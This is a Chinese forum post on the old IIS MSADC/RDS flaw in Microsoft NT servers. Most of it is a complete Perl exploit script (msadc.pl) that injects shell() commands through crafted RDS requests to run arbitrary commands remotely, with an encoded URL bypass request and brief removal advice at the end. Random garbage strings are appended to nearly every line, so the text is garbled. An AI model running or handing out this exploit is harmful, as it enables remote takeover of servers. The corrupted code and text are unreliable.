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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) g^:`h VV  
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涉及程序: _b)Ie`a.H  
Microsoft NT server r^E(GmW  
]T40VGJ:h  
描述: B$OV^iwxK  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 7^!iGhI]r  
:v45Ls4J  
详细: H7drDw  
如果你没有时间读详细内容的话,就删除: av'[k<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll [Tvdchl OC  
有关的安全问题就没有了。 G ` eU   
0<<ATw$aQ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #l*w=D?  
mU[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 H:Q4!<  
关于利用ODBC远程漏洞的描述,请参看: 2/F8kVx{  
=pj3G?F#  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm lN"@5(5%  
SgN?[r)  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -U7,~z  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp EIpz-"S  
=|fB":vk  
这里不再论述。 A[F@rUZp  
6#:V3 ;  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 0=9$k  
|NTqJ j  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset >~'z%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! !4z vkJO  
Hkf]=kPy*  
y34<B)Wy  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Y!y pG-  
7pyaHe  
#!perl $&jVEMia  
# >C5u>@%9O  
# MSADC/RDS 'usage' (aka exploit) script V HLNJnA  
# XrXW6s ;Z  
# by rain.forest.puppy (b1e!gJpy  
# B oiS  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me xNRMI!yv   
# beta test and find errors! HqyAo]{GN  
wT,=C'  
use Socket; use Getopt::Std; ^ME'D  
getopts("e:vd:h:XR", \%args); yKz%-6cpSl  
Bq-}BN?pz  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; IF6-VFY:6  
wIWO?w2  
if (!defined $args{h} && !defined $args{R}) { :N_DJ51  
print qq~ 7^d7:1M  
Usage: msadc.pl -h <host> { -d <delay> -X -v } e;|$nw-  
-h <host> = host you want to scan (ip or domain) {DUtdu[  
-d <seconds> = delay between calls, default 1 second N&$ ,uhmO  
-X = dump Index Server path table, if available  BJg  
-v = verbose 6 =G=4{q  
-e = external dictionary file for step 5 (Y^tky$9  
gr@Ril^  
Or a -R will resume a command session t4hc X[  
v}IhO~`uEq  
~; exit;} =u.23#.  
80o'=E}"  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~Jj~W+h  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 8L6b:$Y3@C  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} .2ZFJ.Z"  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); }EJ/H3<  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :s-9@Yl|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } uK ,W  
@Q;s[Kg{!  
if (!defined $args{R}){ $ret = &has_msadc; _]eyt_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 6V#EEb  
G68@(<<Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 3od16{YH  
. "cmd /c "; 3 4&xh1=3  
$in=<STDIN>; chomp $in; Ea-U+7JC  
$command="cmd /c " . $in ; Imq-5To#  
7QoMroR  
if (defined $args{R}) {&load; exit;} Tb8r+~HK  
+F2X2e)g"  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }u{gQlV  
&try_btcustmr; T4[/_;1g  
_c5*9')-)  
print "\nStep 2: Trying to make our own DSN..."; O}}rosA  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; kJNwA8 7  
6GqC]rd*:  
print "\nStep 3: Trying known DSNs..."; A(cR/$fn6  
&known_dsn; M* {5> !\  
`46.!  
print "\nStep 4: Trying known .mdbs..."; !_B*Po  
&known_mdb; 5OX[)Li  
k1s5cg=n(  
if (defined $args{e}){ Bvh{|tP4  
print "\nStep 5: Trying dictionary of DSN names..."; j['B9vG  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } (XY`1|])`  
|{_>H '  
print "Sorry Charley...maybe next time?\n"; Xil;`8h  
exit; l"jYY3N|h  
!]RSG^%s{  
############################################################################## s{j A!T}  
^5( d^N  
sub sendraw { # ripped and modded from whisker TY'61xWi  
sleep($delay); # it's a DoS on the server! At least on mine... pVrY';[,|  
my ($pstr)=@_; fGRV]6?V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }&= =;7,O  
die("Socket problems\n"); PL3hrI 5  
if(connect(S,pack "SnA4x8",2,80,$target)){ Jyr V2Tk^  
select(S); $|=1; I3d}DpPx%  
print $pstr; my @in=<S>; 6]kBG?m0  
select(STDOUT); close(S); k}NM]9EAE  
return @in; 9cU9'r# h  
} else { die("Can't connect...\n"); }} J_-fs#[x  
A^A)arJS  
############################################################################## r\Yh'cRW{  
cO 5zg<wF  
sub make_header { # make the HTTP request D|Wlq~IpQ  
my $msadc=<<EOT BenyA:W"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 (Cfb8\~  
User-Agent: ACTIVEDATA ={V@Y-5T  
Host: $ip b78~{h t`  
Content-Length: $clen ws^Ne30R  
Connection: Keep-Alive pRL:,q\  
Q~VM.G  
ADCClientVersion:01.06 di0@E<@1:  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 c;fLM`{*  
w^$C\bCbh  
--!ADM!ROX!YOUR!WORLD! zB~ <@  
Content-Type: application/x-varg N'R^gL  
Content-Length: $reqlen #jW=K&;  
^\?Rh(pu  
EOT 19#>\9*  
; $msadc=~s/\n/\r\n/g; 3}F>t{FDk  
return $msadc;} g$?^bu dxv  
!2l2;?jM  
############################################################################## (;%T]?<9#  
F P|cA^$<  
sub make_req { # make the RDS request b/]4#?g  
my ($switch, $p1, $p2)=@_; ?_Z -} f  
my $req=""; my $t1, $t2, $query, $dsn; UU MB"3e  
r]Wt!oHm5  
if ($switch==1){ # this is the btcustmr.mdb query dnU-v7k,{  
$query="Select * from Customers where City=" . make_shell(); J ~3m7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ^MF 2Q+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} tZz%x?3G  
j&'6|s{  
elsif ($switch==2){ # this is general make table query '5De1K.\`  
$query="create table AZZ (B int, C varchar(10))"; h\w;SDwOk  
$dsn="$p1";} -bzlp7q*  
a*U[;(  
elsif ($switch==3){ # this is general exploit table query \\#D!q*  
$query="select * from AZZ where C=" . make_shell(); \GxqE8  
$dsn="$p1";} aSX4~UYB=  
] h(Iun  
elsif ($switch==4){ # attempt to hork file info from index server L'? aoRj  
$query="select path from scope()"; ^Z?m)qxvB  
$dsn="Provider=MSIDXS;";} <TtPwUX  
Zja3HGL  
elsif ($switch==5){ # bad query {L%JDJ  
$query="select"; *YvtT (Gt  
$dsn="$p1";} aq}hlA(w  
SYA~I-OYc  
$t1= make_unicode($query); eTvjo(Lvx  
$t2= make_unicode($dsn); 8xgBNQdPT  
$req = "\x02\x00\x03\x00"; [1 P_^.Htr  
$req.= "\x08\x00" . pack ("S1", length($t1)); f/UU{vX(  
$req.= "\x00\x00" . $t1 ; aO&{.DO2  
$req.= "\x08\x00" . pack ("S1", length($t2)); W6NhJ#M7  
$req.= "\x00\x00" . $t2 ; %"A8Af**I  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; )__sw  
return $req;} @gK`RmhGE5  
O@a OKk  
############################################################################## w+ !c9  
-EP1Rl`\  
sub make_shell { # this makes the shell() statement C?gqX0[ q  
return "'|shell(\"$command\")|'";} JP<j4/  
|nx3x  
############################################################################## *eIX"&ba  
Et N,  
sub make_unicode { # quick little function to convert to unicode 63=&??4  
my ($in)=@_; my $out; zl :by?  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } O|8@cO  
return $out;} 6GunEYK!N8  
q=5aHH% |  
############################################################################## L?N&kzA  
`KA==;0  
sub rdo_success { # checks for RDO return success (this is kludge) KMIe%2:b5  
my (@in) = @_; my $base=content_start(@in); F,~BhKkbV  
if($in[$base]=~/multipart\/mixed/){ &@oI/i&0B  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} \{ EVRRXn  
return 0;} uE')<fVX(  
O^8ZnN_+  
############################################################################## FJtmRPP[r  
cmXbkM  
sub make_dsn { # this makes a DSN for us :VlA2Ih&q  
my @drives=("c","d","e","f"); IsI5c  
print "\nMaking DSN: "; .4%z$(+6  
foreach $drive (@drives) { 2.%)OC!q&5  
print "$drive: "; y7F |v8bq  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . +=E\sEe  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" RQ8d1US  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); >va_,Y}  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,@f"WrQ  
return 0 if $2 eq "404"; # not found/doesn't exist C;m"W5+  
if($2 eq "200") { Qpmq@iL  
foreach $line (@results) { Ak@!F6~  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} <7 U~0@<Y  
} return 0;} b:F;6X0~Hl  
#b[bgxm  
############################################################################## &B(z**+9  
n5d8^c!2  
sub verify_exists { gd0)s1{9  
my ($page)=@_; Qa=Y?=Za  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ?P0b/g  
return $results[0];} `r1}:`.m,  
 6a,8t  
############################################################################## >IaGa!4  
!} h) |  
sub try_btcustmr { ;"Gy5  
my @drives=("c","d","e","f"); `qhT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); c_vGr55  
M5WB.L[@ q  
foreach $dir (@dirs) { x[{\Aw>$.  
print "$dir -> "; # fun status so you can see progress 9DA |;|  
foreach $drive (@drives) { g J |#xZ  
print "$drive: "; # ditto XF(D%ygeC  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4O-LLH  
$reqlenlen=length( "$reqlen" ); (5!'42  
$clen= 206 + $reqlenlen + $reqlen; 9 o,` peH  
_\\Al v.  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); UPGUJ>2Z  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} L /ibnGhq]  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0V3dc+t)O  
Z4/D38_  
############################################################################## zF`a:dD$d  
:L@ ;.s  
sub odbc_error { , ]1f)>  
my (@in)=@_; my $base; x$-kw{N  
my $base = content_start(@in); -6DRX  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this d?X,od6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5vLXMdN  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .4v?/t1  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eaf-_#qb  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~b]enG5xS4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |^Y"*Y4*h  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . o_Zs0/  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} t)W=0iEd9  
f>6{tI 5X  
############################################################################## [mv? \HDa~  
b, a7XANsh  
sub verbose { ZXs,TaU  
my ($in)=@_; GPLop/6   
return if !$verbose; YtvDayR>  
print STDOUT "\n$in\n";} s\mA3t  
j?u1\<m  
############################################################################## #3*cA!V.<  
Kfb(wW  
sub save { d;dT4vx$[M  
my ($p1, $p2, $p3, $p4)=@_; |1_$\k9Y&  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; R*bx&..<  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 0qNk.1pv  
close OUT;} -crMO57/  
L~PiDQr?r  
############################################################################## YT8q0BR]  
)] q Qgc&  
sub load { K@=u F 1?  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ;MGm,F,o  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 3?j: M]fR  
@p=<IN>; close(IN); o}r_+\n  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); .iR<5.  
$target= inet_aton($ip) || die("inet_aton problems"); M <JX  
print "Resuming to $ip ..."; $ H+X'1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ykbfK$j z  
if($p[1]==1) { R5e[cC8o.  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; +PE-j| D  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; :2xGfy??  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); uT=r*p(v  
if (rdo_success(@results)){print "Success!\n";} KgM|:'  
else { print "failed\n"; verbose(odbc_error(@results));}} %pjY^tM/  
elsif ($p[1]==3){ V/xXW=  
if(run_query("$p[3]")){ >QYx9`x&  
print "Success!\n";} else { print "failed\n"; }} sT1k]duT  
elsif ($p[1]==4){ qnyacI  
if(run_query($drvst . "$p[3]")){ XE_Lz2H`  
print "Success!\n"; } else { print "failed\n"; }} vmNo~clt\  
exit;} @$kO7k0{g  
O-7)"   
############################################################################## rNhS\1-  
ZFMO;'m&  
sub create_table { 9j^rFG!n  
my ($in)=@_; e~gNGr]L/  
$reqlen=length( make_req(2,$in,"") ) - 28; 'eBD/w5U  
$reqlenlen=length( "$reqlen" ); bK}ZR*)  
$clen= 206 + $reqlenlen + $reqlen; nW]CA~  
my @results=sendraw(make_header() . make_req(2,$in,"")); $hCS-9%&  
return 1 if rdo_success(@results); Qa/1*Mb  
my $temp= odbc_error(@results); verbose($temp); KsIHJr7-  
return 1 if $temp=~/Table 'AZZ' already exists/; 8Ckd.HKpQ  
return 0;} ]0<K^OIY  
xKBi".wA  
############################################################################## ^7>~y(  
bx2<WdLyT  
sub known_dsn { 5-0&`,  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 1E!.E=Y ?M  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", #*9 | \  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,#BD/dF  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4xT /8>v2|  
E3p$^['vx  
foreach $dSn (@dsns) { g:~q&b[q6  
print "."; oMYFfnoAa  
next if (!is_access("DSN=$dSn")); 3d;J"e+?  
if(create_table("DSN=$dSn")){ VWt=9D;  
print "$dSn successful\n"; !/H `   
if(run_query("DSN=$dSn")){ 7)}_'p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _l] 0V g`  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ^& *;]S`  
8(- 29  
############################################################################## &b,A-1`w_  
#]^C(qmb:  
sub is_access { j0oto6z~b  
my ($in)=@_; ^PE|BCs  
$reqlen=length( make_req(5,$in,"") ) - 28; J"h2"$v,  
$reqlenlen=length( "$reqlen" ); Ki:t!vAO  
$clen= 206 + $reqlenlen + $reqlen; lxZ9y  
my @results=sendraw(make_header() . make_req(5,$in,"")); IC"ktv bHz  
my $temp= odbc_error(@results); 1,zc8>M  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); n|T$3j)  
return 0;} F@ |(  
7Q'u>o  
############################################################################## mHW%^R=  
+>eX1WoTy  
sub run_query { ~ m vv :u  
my ($in)=@_; U7/ =| Z  
$reqlen=length( make_req(3,$in,"") ) - 28; 0H%zkJ>Q  
$reqlenlen=length( "$reqlen" ); %*<Wf4P"  
$clen= 206 + $reqlenlen + $reqlen; r$M<vo6C  
my @results=sendraw(make_header() . make_req(3,$in,"")); &)Zv>P8z`  
return 1 if rdo_success(@results); t{s>B]i^_w  
my $temp= odbc_error(@results); verbose($temp); z*b|N45O  
return 0;} 7)O+s/.P)  
Exv!!0Cd^  
############################################################################## WC_U'nTu4  
BuAzO>=  
sub known_mdb { h(~of (  
my @drives=("c","d","e","f","g"); Je"XIhBr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O 1X)  
my $dir, $drive, $mdb; U4Y)Jk  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; s)3CosU  
#/9Y}2G|]  
# this is sparse, because I don't know of many  xi<}n#  
my @sysmdbs=( "\\catroot\\icatalog.mdb", H,EZ% Gl  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Zn*W2s^^{  
"\\system32\\certmdb.mdb", qKeR}&b  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% .2rpQa/h  
%0vsm+XQ0E  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /IX555/dR1  
"\\cfusion\\cfapps\\forums\\forums_.mdb", xr Ne:Aj  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =SW<Vhtb  
"\\cfusion\\cfapps\\security\\realm_.mdb", Z6WNMQ1:  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", F!?f|z,/  
"\\cfusion\\database\\cfexamples.mdb", Xa"I  
"\\cfusion\\database\\cfsnippets.mdb", (VCJn<@@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", KL(s Vj^e  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", j+lcj&V#  
"\\cfusion\\brighttiger\\database\\cleam.mdb", #{k+^7aQ  
"\\cfusion\\database\\smpolicy.mdb", j g EYlZ  
"\\cfusion\\database\cypress.mdb", cuf]-C1_  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 09Q5gal  
"\\website\\cgi-win\\dbsample.mdb", S;#7B?j  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", m^RO*n.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" tk 5 p@l  
); #these are just D#Mz#\4o  
foreach $drive (@drives) { a>Aq/=  
foreach $dir (@dirs){ "9vL+Hh  
foreach $mdb (@sysmdbs) { YiL^KK  
print "."; #c/K.?  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ YoQQ ,  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; %l%2 hvGZ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,a2=OV  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ^H&`e"|R9  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x],XiSyp  
E3CwA8)k  
foreach $drive (@drives) { 9*!*n ~  
foreach $mdb (@mdbs) { GJ?J6@|  
print "."; ( Y Z2&  
if(create_table($drv . $drive . $dir . $mdb)){ vMJ_n=Vf  
print "\n" . $drive . $dir . $mdb . " successful\n"; c|iTRco  
if(run_query($drv . $drive . $dir . $mdb)){ rof9Rxxe-  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Z;dR :|%)  
} else { print "Something's borked. Use verbose next time\n"; }}}} 4zOFu/l6R  
} rNke&z:%X_  
#rz!d/)Q  
############################################################################## bXM&VW?OP  
%w!x \UV  
sub hork_idx { :[C|3KKe"  
print "\nAttempting to dump Index Server tables...\n"; R=iwp%c(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; NXS$w{^  
$reqlen=length( make_req(4,"","") ) - 28; Y$ KR\ m  
$reqlenlen=length( "$reqlen" ); au+:-Khm  
$clen= 206 + $reqlenlen + $reqlen; zf\$T,t)  
my @results=sendraw2(make_header() . make_req(4,"","")); cw_B^f8^  
if (rdo_success(@results)){ 5RF*c,cNq  
my $max=@results; my $c; my %d; 3?+t%_[  
for($c=19; $c<$max; $c++){ 2c*}1 _  
$results[$c]=~s/\x00//g; *iSE)[W  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; SK@lr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; +R 8dy  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; IFtaoK  
$d{"$1$2"}="";} d]?fL&jr  
foreach $c (keys %d){ print "$c\n"; } k~QmDq  
} else {print "Index server doesn't seem to be installed.\n"; }} Hm~.u.)\.  
{3Dm/u%=9|  
############################################################################## I3ugBLxVC3  
Gy'/)}}Z  
sub dsn_dict { u3jLe=Y'\  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 0OtUb:8LX  
while(<IN>){ 3)(uC+?[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; [E9_ZdB T  
next if (!is_access("DSN=$dSn")); {JfL7%  
if(create_table("DSN=$dSn")){ LZJFp@  
print "$dSn successful\n"; [|C  
if(run_query("DSN=$dSn")){ 5VGZ5,+<<  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { j}G9+GX~,  
print "Something's borked. Use verbose next time\n";}}} MJn=  
print "\n"; close(IN);} 3Z}KRsp3  
{J;(K~>?m  
##############################################################################  "'Q~&B;@  
Zo Ra^o  
sub sendraw2 { # ripped and modded from whisker iW[%|ddk  
sleep($delay); # it's a DoS on the server! At least on mine... ^jk-GRD*  
my ($pstr)=@_; IL%P\Zs  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  {C%f~j  
die("Socket problems\n"); {@tO9pc`8  
if(connect(S,pack "SnA4x8",2,80,$target)){ K[q-[q#yc  
print "Connected. Getting data"; [q|8.>sB  
open(OUT,">raw.out"); my @in; "~08<+  
select(S); $|=1; print $pstr; "Q[?W( SA  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} AFWWGz  
close(OUT); select(STDOUT); close(S); return @in; {t('`z  
} else { die("Can't connect...\n"); }} X9YbTN  
?oU5H  
############################################################################## X/D% cQ6  
2:1 kSR^Ky  
sub content_start { # this will take in the server headers 6'.CW4L  
my (@in)=@_; my $c; #*+$o<Q]9  
for ($c=1;$c<500;$c++) { af=lzKt*  
if($in[$c] =~/^\x0d\x0a/){ /Em6+DN>  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } yONX?cS  
else { return $c+1; }}} Gr~J-#a3~D  
return -1;} # it should never get here actually jq(rnbV  
~01t_Xp qc  
############################################################################## b Kr73S9  
m3`J9f,c/  
sub funky { ]!WD">d:  
my (@in)=@_; my $error=odbc_error(@in); %)y-BdSp.  
if($error=~/ADO could not find the specified provider/){ z[]8"C=  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; lh;;%@1DM  
exit;} 6I\4Yv$N  
if($error=~/A Handler is required/){ |bk$VT4\  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9y;zk$O8  
exit;} S"R(6:hkgu  
if($error=~/specified Handler has denied Access/){ %p^`,b}  
print "\nServer has custom handler filters (they most likely are patched)\n"; s<8|_Dt  
exit;}} -D wO*f  
lkb,UL;V  
############################################################################## S8;5|ya  
F2',3  
sub has_msadc { ifadnl26 s  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); YDGW]T]i ?  
my $base=content_start(@results); f|{&Y2h(R  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); w[/m:R?eX  
return 0;} v3r<kNW_  
+wm%`N;v<  
######################## B\quXE)  
Y".4."NX  
[f`7+RHrd  
解决方案: cTdX'5  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~L9I@(/ S  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 |) CfO4  
QJU\YH%}  
拿出来充数 哈哈
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